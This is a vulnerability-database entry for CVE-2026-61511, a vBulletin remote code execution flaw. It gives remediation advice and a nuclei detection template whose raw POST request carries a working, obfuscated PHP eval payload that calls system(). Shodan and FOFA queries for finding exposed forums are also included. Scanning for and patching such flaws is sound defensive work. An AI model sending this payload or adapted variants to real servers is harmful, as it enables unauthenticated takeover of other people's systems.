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CVE-2026-61511· vbulletin / vbulletin· CWE-94

vBulletin 6.x - Remote Code Execution

criticalseverity
74.3%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

vBulletin 5.x through 5.7.5 and 6.x through 6.2.1 contain an eval injection vulnerability caused by insufficiently restrictive regex filtering in vB5_Template_Runtime::runMaths(), letting unauthenticated remote attackers execute arbitrary PHP code via the pagenav[pagenumber] parameter in ajax/render template route.

Impact

Unauthenticated remote attackers can execute arbitrary PHP code, potentially leading to full system compromise.

Fix

Update to a version later than 5.7.5 for 5.x and later than 6.2.1 for 6.x or the latest available version.

How to confirm it

Send: POST /
Positive when: status_code == 200 and contains(body, "vb6rceprobe")

Run it with nuclei: nuclei -id CVE-2026-61511 -u <target>

The full check
id: CVE-2026-61511

info:
  name: vBulletin 6.x - Remote Code Execution
  author: alex700,0x_Akoko
  severity: critical
  description: |
    vBulletin 5.x through 5.7.5 and 6.x through 6.2.1 contain an eval injection vulnerability caused by insufficiently restrictive regex filtering in vB5_Template_Runtime::runMaths(), letting unauthenticated remote attackers execute arbitrary PHP code via the pagenav[pagenumber] parameter in ajax/render template route.
  impact: |
    Unauthenticated remote attackers can execute arbitrary PHP code, potentially leading to full system compromise.
  remediation: |
    Update to a version later than 5.7.5 for 5.x and later than 6.2.1 for 6.x or the latest available version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-61511
    - https://github.com/shootcannon/CVE-2026-61511
  classification:
    cve-id: CVE-2026-61511
    epss-score: 0.05607
    epss-percentile: 0.92978
    cwe-id: CWE-94
  metadata:
    max-request: 1
    verified: true
    vendor: vbulletin
    product: vbulletin
    shodan-query: http.favicon.hash:-601665621 http.component:"vBulletin"
    fofa-query: body="Powered by vBulletin"
  tags: cve,cve2026,vbulletin,rce,unauth,vkev

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        routestring=ajax/render/pagenav&pagenav[pagenumber]=(((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(5)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(2).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(5)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(6)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(9)))((((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((9).(9)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(4)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((3).(2)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(8)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((9).(8)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((5).(4)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(4)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((9).(9)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(2)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(4)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((9).(8)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(1))))

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "vb6rceprobe")'
        condition: and

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